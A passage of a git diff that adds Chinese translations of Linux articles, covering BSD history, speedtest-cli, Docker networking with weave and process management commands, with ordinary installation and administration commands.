+![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Material_Design_Paper_Theme_Elementary_OS_Freya_1.jpeg) + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Material_Design_Paper_Theme_Elementary_OS_Freya.jpeg) + +How do you find this Material design inspired theme? If you did use it, do share the screenshot of your desktop with rest of us here. + +你觉得这个Material风格的主题怎么样?如果你使用它的话,在评论里和我们分享你的桌面截图吧! + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-paper-theme-linux/ + +作者:[Abhishek][a] +译者:[sevenot](https://github.com/sevenot) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://snwh.org/paper/ +[2]:http://www.google.fr/design/spec/material-design/introduction.html +[3]:http://mokaproject.com/moka-icon-theme/ +[4]:http://itsfoss.com/best-icon-themes-ubuntu-1404/ +[5]:http://itsfoss.com/gnome-shell-themes-ubuntu-1404/ +[6]:https://github.com/snwh/paper-icon-theme +[7]:https://github.com/snwh/paper-gtk-theme +[8]:http://itsfoss.com/how-to-install-themes-in-ubuntu-13-10/ +[9]:http://itsfoss.com/install-switch-themes-gnome-shell/ +[10]:http://itsfoss.com/install-icon-linux-mint/ +[11]:http://itsfoss.com/install-themes-icons-elementary-os-freya/ +[12]:http://itsfoss.com/tag/elementary-os-freya/ diff --git a/published/201506/20150310 FAQ--BSD.md b/published/201506/20150310 FAQ--BSD.md new file mode 100644 index 0000000000..e9f3d8fedb --- /dev/null +++ b/published/201506/20150310 FAQ--BSD.md @@ -0,0 +1,78 @@ +BSD 的那些事 +================================================================================ +![](http://www.linuxvoice.com/wp-content/uploads/2015/02/faq1-large1.png) + +### 假如历史稍有不同,今天你将听到的是“FreeBSD之声”... ### +(LCTT 译注:本文来自“Linux之声(LinuxVoice)”。) + +#### 那么,这个Birsa Seva Dal是怎么回事呢?难道不是一个印度的政治组织么? #### + +真有趣,您查阅了维基百科上“BSD”的消除分歧页面是为了讲上面这个笑话,对么?这里我们在讨论伯克利软件发行版(Berkeley Software Distribution),一个比您想象中用的更广泛的操作系统家族。 + +#### 抱歉,我有点 Hold 不住自己。那么,这些操作系统是怎么回事呢? #### + +今天,主要使用的BSD操作系统有三种。他们都基于Unix,他们都开源,并且大多担任服务器的角色,但也能当作优秀的桌面和工作站。他们运行KDE,Firefox,LibreOffice,Apache,MySQL和许多你能说得出名字的开源软件。它们都很稳定、安全、支持许多不同的硬件。 + +#### 真棒!你刚才在描述GNU/Linux吧 #### + +是的,Linux拥有我刚才提到的所有东西,这也是为什么很多人从来不讨论BSD。在日常的使用中,Linux和BSD并没有太多的不同,这主要是因为他们都以Unix为基础,并共用很多软件。您可以登录进远程主机,在Vim中写一些Python代码,使用Mutt检查您的email,您可能并未意识到您在使用BSD。或许您在咖啡馆里正通过网络终端使用它,但不知道他是BSD。 + +两者最大的区别在于开发模式和许可证,为了解这些,我们需要回到过去。在BSD中,B代表着加利福尼亚大学伯克利分校(University of California, Berkeley),在1980年代,那里是开源的Unix软件的发源地。到了90年代,基于x86的PC变得流行,许多人对在他们的家庭电脑中安装Unix类操作系统产生了兴趣。1992年,一个叫做386BSD的项目在那时发布,提供了上述功能。 + +#### 那么,所有的Linux发行版那个时候在哪里呢? #### + +问得好!您也许知道这一年的前一年(1991),Linus Torvalds已经发布了他的内核,当它与GNU项目结合时,变成了完整的开源操作系统。Linus那时也在关注GNU的内核(Hurd)和386BSD,并且他说过,如果那时两个内核有一个可以正常使用,他可能就不会创造Linux了。所以,90年代的头几年,开源操作系统生机勃勃,没有人知道哪个系统会最终胜出。 + +接下来,BSD遇到了一些麻烦。Unix最初的开发方AT&T试图从他们在操作系统方面的付出中获得一些利益,他们声称BSD侵犯了他们的知识产权。此事最终以1992年的一桩诉讼结束,它极大的抑制了BSD的开发进程。其结果就是,许多BSD源码必须重写,与此同时,GNU/Linux已经丰富了功能,变得稳定和流行了。 + +在90年代早期,BSD被认为比GNU/Linux更加成熟,如果没有那些法律麻烦,他可能已经成为了x86 PC的标准了。今天,我们可能都在使用它而不是Linux。 + +#### 但你提到BSD仍然被广泛的使用,所以它后来有提升么? #### + +是的。386BSD的开发停滞了,但有两只开发团队通过互联网协作并创造了两个独立的成功的项目。FreeBSD成为了使用最广泛的BSD版本,它目前是和Linux最相似的系统,包括桌面和服务器版本。而NetBSD则聚焦于可移植性(今天它可以运行在超过50种不同平台上,均基于同样的代码版本)。另一个版本是OpenBSD,它在NetBSD开始不久就因为开发者的口角而作为NetBSD的分支诞生了,今天,它以专注于安全闻名。多年以来,OpenBSD创建了许多程序,它们都成了Linux的标准部分,比如说OpenSSH - 甚至,现在我们还有了LibreSSL。 + +#### 所以,这三种版本的BSD和Linux发行版相似么? #### + +也是也不是,每个BSD版本都有自己的代码库、不同的开发团队。尽管他们间有许多共用的代码(尤其是硬件驱动)。但他们是各自拥有其特色、优点和缺点的相互独立的操作系统。 + +我们提到过,BSD的开发模式是他们真正和GNU/Linux区别的重要特点。在GNU/Linux中没有人对其整体进行掌控:一些团队在GNU组件方面工作,一些团队在开发内核,一些在开发启动脚本,一些在写手册,一些在写库等等。这样的开发模式通常被称作缺少中央权利的“荒蛮的美国西部”,由发行版负责将所有的东西各自锲合。 + +而BSD则相反,它们从中央化的源代码树中开发并作为一个整体。内核、库、系统组件和文档页都存在一个地方,且以同样的方式使用。许多BSD粉丝声称,这个特点给了操作系统更多的一致性和稳定性。通过我这些年使用BSD的经验来看,我们可以证明手册页已经变得非常完备。 + +![](http://www.linuxvoice.com/wp-content/uploads/2015/02/faq2-large1.png) + +#### 难道BSD没有使用GNU/Linux的任何东西么? #### + +是的,但除了GCC。几十年来,GNU Compiler Collection已经成为了实际上的Unix系统标准编译器,但FreeBSD最近已经转而使用LLVM/Clang了。值得注意的是BSD还是用了一些其他的开源项目,但它们并属于GNU或者Linux,比如说X Window System(XFree86和X.org)、Perl等等。并且幸亏有像POSIX一样的标准,许多运行在Linux上的程序可以在BSD的许多版本上编译和运行。 + +因此,您可以把LAMP(Linux、Apache、MySQL和PHP)中的L改成FreeBSD,这样可以获得几乎同样的环境,以及一些不同的特性(例如,在文件系统和驱动支持方面)。FreeBSD有一些大型、海量的用户,例如Netflix,每天提供海量的数据。尽管FreeBSD可以做为一个不错的桌面环境,但它的长处在于服务器方面,它拥有超乎寻常的可靠性和网络性能。 + +OpenBSD更倾向用于安全性十分必要的场合,如小型Web服务、文件托管、防火墙和网关。NetBSD是BSD主要发行版中最不流行的一个,它能运行在几乎所有平台上,包括古老的Amigas和Acorn boxes,有时您可以在闭源的网络设备中找到它的身影。 + +#### 等等,怎么会有人将开源代码闭源呢?那在Linux中是不合适的 #### + +对的,这里我们谈到了它与GNU/Linux的主要不同。BSD版本的许可证(很有趣,就叫做BSD许可证)非常不同于我们所知的GPL。对于新手来说,BSD更简短。BSD许可证主要内容是:对这份代码做你想做的事,但要保留它的初始开发者的荣誉,并且如果它搞坏你的电脑时不要提出诉讼。 + +因此,该许可证中没有任何条款强制代码开源,不像GPL,它要求使用这份代码的用户将他们的修改也开源。这一重要的不同引起了互联网上无数的激烈讨论,BSD的粉丝们说他们的许可证更加自由(因为它不那么严格),而GNU/GPL的粉丝说他们的证书才更自由(因为它保留了真正的自由) + +#### 啊呀,不管怎么说,你已经引起了我的兴趣,我在哪里能尝试这些可爱的BSD版本呢? #### + +您大概已经可以猜到这些网站了 – [www.openbsd.org][1]、[www.freebsd.org][2]、[www.netbsd.org][3]。在那里,您可以下载ISO镜像,在VirtualBox中启动它们,然后开始玩耍。如果您已经用了一段时间的Linux,你就会发现这并不难,虽然您需要了解命令行。如果您在寻找一些对新手更加友好的东西,可以试试PC-BSD,PC-BSD([www.pcbsd.org][4])是一个基于FreeBSD的个性化定制版本,它专注于桌面,有美观的图形化安装器和超级简单的软件管理器。 + +祝你玩的愉快! + +-------------------------------------------------------------------------------- + +via: http://www.linuxvoice.com/faq-bsd-2/ + +作者:[Mike Saunders][a] +译者:[wwy-hust](https://github.com/wwy-hust) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxvoice.com/author/mike/ +[1]:http://www.openbsd.org/ +[2]:http://www.freebsd.org/ +[3]:http://www.netbsd.org/ +[4]:http://www.pcbsd.org/ diff --git a/published/201506/20150316 How to Test Your Internet Speed Bidirectionally from Command Line Using 'Speedtest-CLI' Tool.md b/published/201506/20150316 How to Test Your Internet Speed Bidirectionally from Command Line Using 'Speedtest-CLI' Tool.md new file mode 100644 index 0000000000..462c647ac8 --- /dev/null +++ b/published/201506/20150316 How to Test Your Internet Speed Bidirectionally from Command Line Using 'Speedtest-CLI' Tool.md @@ -0,0 +1,143 @@ +用命令行工具Speedtest-CLI来测试你的上下行网速 +================================================================================ + +我们经常需要到检查家里与办公室之间的网络是否连通,那么我们要怎么做呢?打开网站Speedtest.net然后开始测试。网站是通过加载浏览器中的JavaScript脚本然后选择最佳的服务器测速然后用Flash产生图形化的结果。 + +那么远程服务器呢?要知道大多数远程服务器是没有浏览器可以打开web页面的。用浏览器打开网页测速的瓶颈就在此,你不能按计划的对服务器进行定期的常规测试。这时需要到一个名为Speedtest-cli的软件来打破这个瓶颈,它能让你通过命令行来测试互联网连接的速度。 + +#### Speedtest-cli是什么 #### + +此程序是基于Python开发的脚本程序,利用了speedtest.net的服务来测量出上下行的宽带。Speedtest-cli能根据机房离测速服务器的物理距离来列出测速服务器,或者针对某一服务器进行测速,同时还能为你生成一个URL以便你分享你的测速结果。 + +要在Linux上安装最新版本的speedtest-cli,你必须安装2.4-3.4或者更高版本的Python。 + +### 在Linux上安装speedtest-cli ### + +有两种方法可以安装speedtest-cli。第一种方法需要用到`python-pip`包管理器,第二种方法需要安装Python脚本,生成安装文件然后运行,这里我们分别介绍两种方法: + +#### 使用pythin-pip安装speedtest-cli#### + +首先你需要安装`python-pip`包管理器,之后你就可以用pip命令来安装speedtest-cli + + $ sudo apt-get install python-pip + $ sudo pip install speedtest-cli + +如果要把speedtest-cli升级至最新版本,你需要输入以下命令 + + $ sudo pip install speedtest-cli --upgrade + +#### 通过Pyhton脚本来安装speedtest-cli #### + +首先要用wget命令从github上下来Python脚本,然后解压提取下载的文件(master.zip) + + $ wget https://github.com/sivel/speedtest-cli/archive/master.zip + $ unzip master.zip + +提取出文件后,进入提取出的目录`speedtest-cli-master`然后使脚本可以执行。 + + $ cd speedtest-cli-master/ + $ chmod 755 speedtest_cli.py + +下一步,把可执行的脚本移动到`/usr/bin`文件夹,这样你就不用每次都输入完整的脚本路径了。 + + $ sudo mv speedtest_cli.py /usr/bin/ + +### 用speedtest-cli测试互联网连通速度### + +**1. 要测试你的下载与上传速度,只需要运行`speedtest-cli`命令,不需要带参数。** + + $ speedtest_cli.py + +![Test Download Upload Speed in Linux](http://www.tecmint.com/wp-content/uploads/2015/03/Test-Download-Upload-Speed-in-Linux1.png) + +*在Linux下测试上传下载速度* + +**2. 测试上传下载的速度(以字节计算)** + + $ speedtest_cli.py --bytes + +![Test Internet Speed in Bytes](http://www.tecmint.com/wp-content/uploads/2015/03/Test-Speed-in-Bytes.png) + +*测试bytes的速度* + +**3. 工具提供一个链接来下载由你的宽带测试结果生成的图片,你可以分享给你的家人朋友。** + +![Share Internet Speed Results](http://www.tecmint.com/wp-content/uploads/2015/03/Share-Internet-Speed-Results.png) + +*分享测速结果* + +下面的图片就是你通过以上的命令行测速而生成的图片 + +![Speed Test Results](http://www.tecmint.com/wp-content/uploads/2015/03/Speed-Test-Results.png) + +*测速结果* + +**4.如果你仅仅需要Ping,上传,下载的结果,就运行以下命令:** + + $ speedtest_cli.py --simple + +![Test Ping Download Upload Speed](http://www.tecmint.com/wp-content/uploads/2015/03/Test-Ping-Download-Upload-Speed1.png) + +*测试Ping,上传,下载的速度* + +**5. 列出`speedtest.net`所有的服务器距离你的物理距离,单位是千米(km)** + + $ speedtest_cli.py --list + +![Check Speedtest.net Servers](http://www.tecmint.com/wp-content/uploads/2015/03/Check-Speedtest-Servers.png) + +*列出Speedtest.net的服务器* + +**6. 当获得一个非常长的服务器列表之后,怎么列出我想要的某个服务器?如果我要在speedtest.net服务器列表中找出位于Mumbai(印度)的服务器呢?** + + $ speedtest_cli.py --list | grep -i Mumbai + +![Check Nearest Server](http://www.tecmint.com/wp-content/uploads/2015/03/Check-Nearest-Server.png) + +*列出最近的服务器* + +**7. 对指定的服务器进行测速。我们使用上面例子5和例子6中获取的服务器ID:** + + $ speedtest_cli.py --server [server ID] + $ speedtest_cli.py --server [5060] ## 这里使用服务器ID为5060作为例子 + +![Test Connection Against Server](http://www.tecmint.com/wp-content/uploads/2015/03/Test-Connection-Against-Server.png) + +*对指定的服务器进行测速* + +**8. 输出`speedtest-cli`的版本信息和帮助文档** + + $ speedtest_cli.py --version + +![Check SpeedCli Version](http://www.tecmint.com/wp-content/uploads/2015/03/Check-SpeedCLi-Version.png) + +*输出版本号* + + $ speedtest_cli.py --help + +![SpeedCli Help](http://www.tecmint.com/wp-content/uploads/2015/03/SpeedCli-Help.png) + +*输出帮助文档* + +**提醒:**报告中的延迟并不是确切的结果,不应该过于依赖它;这个数值可以当作相对延迟,这对你选择某一测试服务器来说是可靠的。同时,CPU和内存的容量会影响结果的准确度。 + +### 结论 ### + +系统管理员和开发者应该必备这个简单的脚本工具,这个轻量级的工具功能齐全,真是太赞了。我不喜欢Speedtest.net的原因是它使用来flash,相反speedtest-cli刚好戳中了我的痛点。 + +speedtest_cli是一个第三方工具,也不能自动地记录下宽带速度。Speedtest.net拥有上百万的用户,你可以自己[配制一个小型的测速服务器][1]。 + +上面就是所有内容,更多内容敬请关注我们。如果你有任何反馈记得在文章下方评论,如果你喜欢别忘了给我们点个赞,分享我们的文章。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/check-internet-speed-from-command-line-in-linux/ + +作者:[Avishek Kumar][a] +译者:[NearTan](https://github.com/NearTan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/speedtest-mini-server-to-test-bandwidth-speed/ diff --git a/published/201506/20150323 How to set up networking between Docker containers.md b/published/201506/20150323 How to set up networking between Docker containers.md new file mode 100644 index 0000000000..6d8434041e --- /dev/null +++ b/published/201506/20150323 How to set up networking between Docker containers.md @@ -0,0 +1,160 @@ +如何在 Docker 容器之间设置网络 +================================================================================ +你也许已经知道了,Docker 容器技术是现有的成熟虚拟化技术的一个替代方案。它被企业应用在越来越多的领域中,比如快速部署环境、简化基础设施的配置流程、多客户环境间的互相隔离等等。当你开始在真实的生产环境使用 Docker 容器去部署应用沙箱时,你可能需要用到多个容器部署一套复杂的多层应用系统,其中每个容器负责一个特定的功能(例如负载均衡、LAMP 栈、数据库、UI 等)。 + +那么问题来了:有多台宿主机,我们事先不知道会在哪台宿主机上创建容器,如果保证在这些宿主机上创建的容器们可以互相联网? + +联网技术哪家强?开源方案找 [weave][1]。这个工具可以为你省下不少烦恼。听我的准没错,谁用谁知道。 + +于是本教程的主题就变成了“**如何使用 weave 在不同主机上的 Docker 容器之间设置网络**”。 + +### Weave 是如何工作的 ### + +![](https://farm8.staticflickr.com/7288/16662287067_27888684a7_b.jpg) + +让我们先来看看 weave 怎么工作:先创建一个由多个 peer 组成的对等网络,每个 peer 是一个虚拟路由器容器,叫做“weave 路由器”,它们分布在不同的宿主机上。这个对等网络的每个 peer 之间会维持一个 TCP 链接,用于互相交换拓扑信息,它们也会建立 UDP 链接用于容器间通信。一个 weave 路由器通过桥接技术连接到本宿主机上的其他容器。当处于不同宿主机上的两个容器想要通信,一台宿主机上的 weave 路由器通过网桥截获数据包,使用 UDP 协议封装后发给另一台宿主机上的 weave 路由器。 + +每个 weave 路由器会刷新整个对等网络的拓扑信息,可以称作容器的 MAC 地址(如同交换机的 MAC 地址学习一样获取其他容器的 MAC 地址),因此它可以决定数据包的下一跳是往哪个容器的。weave 能让两个处于不同宿主机的容器进行通信,只要这两台宿主机在 weave 拓扑结构内连到同一个 weave 路由器。另外,weave 路由器还能使用公钥加密技术将 TCP 和 UDP 数据包进行加密。 + +### 准备工作 ### + +在使用 weave 之前,你需要在所有宿主机上安装 [Docker][2] 环境,参考[这些][3][教程][4],在 Ubuntu 或 CentOS/Fedora 发行版中安装 Docker。 + +Docker 环境部署完成后,使用下面的命令安装 weave: + + $ wget https://github.com/zettio/weave/releases/download/latest_release/weave + $ chmod a+x weave + $ sudo cp weave /usr/local/bin + +注意你的 PATH 环境变量要包含 /usr/local/bin 这个路径,请在 /etc/profile 文件中加入一行(LCTT 译注:要使环境变量生效,你需要执行这个命令: source /etc/profile): + + export PATH="$PATH:/usr/local/bin" + +在每台宿主机上重复上面的操作。 + +Weave 在 TCP 和 UDP 上都使用 6783 端口,如果你的系统开启了防火墙,请确保这两个端口不会被防火墙挡住。 + +### 在每台宿主机上启动 Weave 路由器 ### + +当你想要让处于在不同宿主机上的容器能够互相通信,第一步要做的就是在每台宿主机上启动 weave 路由器。 + +第一台宿主机,运行下面的命令,就会创建并开启一个 weave 路由器容器(LCTT 译注:前面说过了,weave 路由器也是一个容器): + + $ sudo weave launch + +第一次运行这个命令的时候,它会下载一个 weave 镜像,这会花一些时间。下载完成后就会自动运行这个镜像。成功启动后,终端会输出这个 weave 路由器的 ID 号。 + +下面的命令用于查看路由器状态: + + $ sudo weave status + +![](https://farm9.staticflickr.com/8632/16249607573_4514790cf5_c.jpg) + +第一个 weave 路由器就绪了,目前为止整个 peer 对等网络中只有一个 peer 成员。 + +你也可以使用 docker 的命令来查看 weave 路由器的状态: + + $ docker ps + +![](https://farm8.staticflickr.com/7655/16681964438_51d8b18809_c.jpg) + +第二台宿主机部署步骤稍微有点不同,我们需要为这台宿主机的 weave 路由器指定第一台宿主机的 IP 地址,命令如下: + + $ sudo weave launch + +当你查看路由器状态,你会看到两个 peer 成员:当前宿主机和第一个宿主机。 + +![](https://farm8.staticflickr.com/7608/16868571891_e66d4b8841_c.jpg) + +当你开启更多路由器,这个 peer 成员列表会更长。当你新开一个路由器时,要指定前一个宿主机的 IP 地址,请注意不是第一个宿主机的 IP 地址(LCTT 译注:链状结构)。 + +现在你已经有了一个 weave 网络了,它由位于不同宿主机的 weave 路由器组成。 + +### 把不同宿主机上的容器互联起来 ### + +接下来要做的就是在不同宿主机上开启 Docker 容器,并使用虚拟网络将它们互联起来。 + +假设我们创建一个私有网络 10.0.0.0/24 来互联 Docker 容器,并为这些容器随机分配 IP 地址。 + +如果你想新建一个能加入 weave 网络的容器,你就需要使用 weave 命令来创建,而不是 docker 命令。原因是 weave 命令内部会调用 docker 命令来新建容器然后为它设置网络。 + +下面的命令是在宿主机 hostA 上建立一个 Ubuntu 容器,然后将它放到 10.0.0.0/24 网络中,分配的 IP 地址为 10.0.0.1: + + hostA:~$ sudo weave run 10.0.0.1/24 -t -i ubuntu + +成功运行后,终端会显示出容器的 ID 号。你可以使用这个 ID 来访问这个容器: + + hostA:~$ docker attach + +在宿主机 hostB 上,也创建一个 Ubuntu 容器,IP 地址为 10.0.0.2: + + hostB:~$ sudo weave run 10.0.0.2/24 -t -i ubuntu + +访问下这个容器的控制台: + + hostB:~$ docker attach + +这两个容器能够互相 ping 通,你可以通过容器的控制台检查一下。 + +![](https://farm9.staticflickr.com/8566/16868571981_d73c8e401b_c.jpg) + +如果你检查一下每个容器的网络配置,你会发现有一块名为“ethwe”的网卡,你分配给容器的 IP 地址出现在它们那里(比如这里分别是 10.0.0.1 和 10.0.0.2)。 + +![](https://farm8.staticflickr.com/7286/16681964648_013f9594b1_b.jpg) + +### Weave 的其他高级用法 ### + +weave 提供了一些非常巧妙的特性,我在这里作下简单的介绍。 + +#### 应用分离 #### + +使用 weave,你可以创建多个虚拟网络,并为每个网络设置不同的应用。比如你可以为一群容器创建 10.0.0.0/24 网络,为另一群容器创建 10.10.0.0/24 网络,weave 会自动帮你维护这些网络,并将这两个网络互相隔离。另外,你可以灵活地将一个容器从一个网络移到另一个网络而不需要重启容器。举个例子: + +首先开启一个容器,运行在 10.0.0.0/24 网络上: + + $ sudo weave run 10.0.0.2/24 -t -i ubuntu + +然后让它脱离这个网络: + + $ sudo weave detach 10.0.0.2/24 + +最后将它加入到 10.10.0.0/24 网络中: + + $ sudo weave attach 10.10.0.2/24 + +![](https://farm8.staticflickr.com/7639/16247212144_c31a49714d_c.jpg) + +现在这个容器可以与 10.10.0.0/24 网络上的其它容器进行通信了。这在当你创建一个容器而网络信息还不确定时就很有帮助了。 + +#### 将 weave 网络与宿主机网络整合起来 #### + +有时候你想让虚拟网络中的容器能访问物理主机的网络。或者相反,宿主机需要访问容器。为满足这个功能,weave 允许虚拟网络与宿主机网络整合。 + +举个例子,在宿主机 hostA 上一个容器运行在 10.0.0.0/24 中,运行使用下面的命令: + + hostA:~$ sudo weave expose 10.0.0.100/24 + +这个命令把 IP 地址 10.0.0.100 分配给宿主机 hostA,这样一来宿主机 hostA 也连到了 10.0.0.0/24 网络上了。显然,你在为宿主机选择 IP 地址的时候,需要选一个没有被其他容器使用的地址。 + +现在 hostA 就可以访问 10.0.0.0/24 上的所有容器了,不管这些容器是否位于 hostA 上。好巧妙的设定啊,32 个赞! + +### 总结 ### + +如你所见,weave 是一个很有用的 docker 网络配置工具。这个教程只是它[强悍功能][5]的冰山一角。如果你想进一步玩玩,你可以试试它的以下功能:多跳路由功能,这个在 multi-cloud 环境(LCTT 译注:多云,企业使用多个不同的云服务提供商的产品,比如 IaaS 和 SaaS,来承载不同的业务)下还是很有用的;动态重路由功能是一个很巧妙的容错技术;或者它的分布式 DNS 服务,它允许你为你的容器命名。如果你决定使用这个好东西,欢迎分享你的使用心得。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/networking-between-docker-containers.html + +作者:[Dan Nanni][a] +译者:[bazz2](https://github.com/bazz2) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:https://github.com/zettio/weave +[2]:http://xmodulo.com/recommend/dockerbook +[3]:http://xmodulo.com/manage-linux-containers-docker-ubuntu.html +[4]:http://xmodulo.com/docker-containers-centos-fedora.html +[5]:http://zettio.github.io/weave/features.html diff --git a/published/201506/20150326 A Peep into Process Management Commands in Linux.md b/published/201506/20150326 A Peep into Process Management Commands in Linux.md new file mode 100644 index 0000000000..705ec14d6d --- /dev/null +++ b/published/201506/20150326 A Peep into Process Management Commands in Linux.md @@ -0,0 +1,191 @@ +12个进程管理命令介绍 +================================================================================ +执行中的程序在称作进程。当程序以可执行文件存放在存储中,并且运行的时候,每个进程会被动态得分配系统资源、内存、安全属性和与之相关的状态。可以有多个进程关联到同一个程序,并同时执行不会互相干扰。操作系统会有效地管理和追踪所有运行着的进程。 + +为了管理这些进程,用户应该能够: + +- 查看所有运行中的进程 +- 查看进程消耗资源 +- 定位个别进程并且对其执行指定操作 +- 改变进程的优先级 +- 杀死指定进程 +- 限制进程可用的系统资源等 + +Linux提供了许多命令来让用户来高效掌控上述的操作。接下来,一个一个的来讲解下。 + +### 1. ps ### + +'ps'是Linux 中最基础的浏览系统中的进程的命令。能列出系统中运行的进程,包括进程号、命令、CPU使用量、内存使用量等。下述选项可以得到更多有用的消息。 + + ps -a - 列出所有运行中/激活进程 + +![Output of "ps -a" command](http://blog.linoxide.com/wp-content/uploads/2015/02/ps-a2.png) + + ps -ef |grep - 列出需要进程 + ps -aux - 显示进程信息,包括无终端的(x)和针对用户(u)的进程:如USER, PID, %CPU, %MEM等 + +### 2. pstree ### + +linux中,每一个进程都是由其父进程创建的。此命令以可视化方式显示进程,通过显示进程的树状图来展示进程间关系。如果指定了pid了,那么树的根是该pid,不然将会是init(pid: 1)。 + +![pstree](http://blog.linoxide.com/wp-content/uploads/2015/02/pstree.png) + +### 3. top ### + +‘top’是一个更加有用的命令,可以监视系统中不同的进程所使用的资源。它提供实时的系统状态信息。显示进程的数据包括 PID、进程属主、优先级、%CPU、%memory等。可以使用这些显示指示出资源使用量。 + +![top](http://blog.linoxide.com/wp-content/uploads/2015/02/top.png) + +### 4. htop ### + +htop与top很类似,但是htop是交互式的文本模式的进程查看器。它通过文字图形化地显示每一个进程的CPU和内存使用量、swap使用量。使用上下光标键选择进程,F7和F8改变优先级,F9杀死进程。Htop不是系统默认安装的,所以需要额外安装。 + +![htop output](http://blog.linoxide.com/wp-content/uploads/2015/03/htop1.png) + +### 5. nice ### + +通过nice命令的帮助,用户可以设置和改变进程的优先级。提高一个进程的优先级,内核会分配更多CPU时间片给这个进程。默认情况下,进程以0的优先级启动。进程优先级可以通过top命令显示的NI(nice value)列查看。 + +进程优先级值的范围从-20到19。值越低,优先级越高。 + + nice <优先值> <进程名> - 通过给定的优先值启动一个程序 + +![nice command](http://blog.linoxide.com/wp-content/uploads/2015/02/nice-cmd.png) + +![changed nice value of 'top'](http://blog.linoxide.com/wp-content/uploads/2015/02/top-nice.png) + +上述命令例子中,可以看到‘top’命令获得了-3的优先值。 + +### 6. renice ### + +renice命令类似nice命令。使用这个命令可以改变正在运行的进程优先值。注意,用户只能改变属于他们自己的进程的优先值。 + + renice -n -p - 改变指定进程的优先值 + +![renice command](http://blog.linoxide.com/wp-content/uploads/2015/02/renice2.png) + +初始优先值为0的3806号进程优先值已经变成了4. + + renice -u -g - 通过指定用户和组来改变进程优先值 + +![output of renice for a user group](http://blog.linoxide.com/wp-content/uploads/2015/02/renice1.png) + +上述例子中,用户为‘mint’的所有进程优先值变为‘-3’。 + +### 7. kill ### + +这个命令用于发送信号来结束进程。如果一个进程没有响应杀死命令,这也许就需要强制杀死,使用-9参数来执行。注意,使用强制杀死的时候一定要小心,因为进程没有时机清理现场,也许写入文件没有完成。如果我们不知道进程PID或者打算用名字杀死进程时候,killall就能派上用场。 + + kill + + kill -9 + + killall -9 - 杀死所有拥有同样名字的进程 + +如果你使用kill,你需要知道进程ID号。pkill是类似的命令,但使用模式匹配,如进程名,进程拥有者等。 + + pkill <进程名> + +![kill initiated](http://blog.linoxide.com/wp-content/uploads/2015/02/kill-initiated.png) + +![kill](http://blog.linoxide.com/wp-content/uploads/2015/02/kill.png) + +### 8. ulimit ### + +该命令用于控制系统资源在shell和进程上的分配量。对于系统管理员是最有用的,可以管理重度使用和存在性能问题的系统。限制资源大小可以确保重要进程持续运行,其他进程不会占用过多资源。 + + ulimit -a - 显示当前用户关联的资源限制 + +![ulimit -a](http://blog.linoxide.com/wp-content/uploads/2015/02/ulimit-a.png) + + -f - 最大文件尺寸大小 + + -v - 最大虚拟内存大小(KB) + + -n - 增加最大文件描述符数量 + + -H : 改变和报告硬限制 + + -S : 改变和报告软限制 + +浏览ulimit man页面获取更多选项。 + +### 9. w ### + +w 提供当前登录的用户及其正在执行的进程的信息。显示信息头包含信息,如当前时间、系统运行时长、登录用户总数、过去的1,5,15分钟内的负载均衡数。 + +基于这些用户信息,用户在终止不属于他们的进程时要小心。 + +!['w' command](http://blog.linoxide.com/wp-content/uploads/2015/02/w.png) + +**who**是类似命令,提供当前登录用户列表、系统启动时间、运行级别等。 + +!['who' command](http://blog.linoxide.com/wp-content/uploads/2015/02/who.png) + +**whoami** 命令输出当前用户ID + +!['whoami' command](http://blog.linoxide.com/wp-content/uploads/2015/02/whoami.png) + +### 10. pgrep ### + +pgrep的意思是"进程号全局正则匹配输出"。该命令扫描当前运行进程,然后按照命令匹配条件列出匹配结果到标准输出。对于通过名字检索进程号是很有用。 + + pgrep -u mint sh + +这个命令将会显示用户为‘mint’和进程名为‘sh’的进程ID。 + +![output of pgrep](http://blog.linoxide.com/wp-content/uploads/2015/03/pgrep.png) + +### 11. fg , bg ### + +有时,命令需要很长的时间才能执行完成。对于这种情况,我们使用‘bg’命令可以将任务放在后台执行,而用‘fg’可以调到前台来使用。 + +我们可以通过‘&’在后台启动一个程序: + + find . -name *iso > /tmp/res.txt & + +一个正在运行的程序也可以通过“CTRL+Z”和“bg”命令组合放到后台运行。 + + find . -name *iso > /tmp/res.txt & - 启动一个程序 + + ctrl+z - 挂起当前执行程序 + + bg - 将程序放到后台运行 + +我们可以使用‘jobs’命令列出所有后台进程。 + + jobs + +使用‘fg’命令可以将后台程序调到前台执行。 + + fg %进程id + +![output of fg, bg and jobscommands](http://blog.linoxide.com/wp-content/uploads/2015/03/fg-bg-jobs.png) + +### 12. ipcs ### + +ipcs命令报告进程间通信设施状态。(共享内存,信号量和消息队列) + +用-p参数联合-m、-s或-q使用,可以获得相关的进程间通信的进程ID。 + + ipcs -p -m + +下面屏幕截图列出了最近访问了共享内存段的进程的创建者的ID和进程ID。 + +![ipcs command](http://blog.linoxide.com/wp-content/uploads/2015/03/ipcs.png) + +### 总结 ### + +总之 ,这些命令可以帮助管理员修复问题和改善性能。同样作为一名普通用户也需要解决进程出现的问题。所以,熟悉如此繁多的命令,从能有效管理进程是行之有效。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/process-management-commands-linux/ + +作者:[B N Poornima][a] +译者:[VicYu/Vic020](http://vicyu.net) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/bnpoornima/ diff --git a/published/201506/20150330 How to 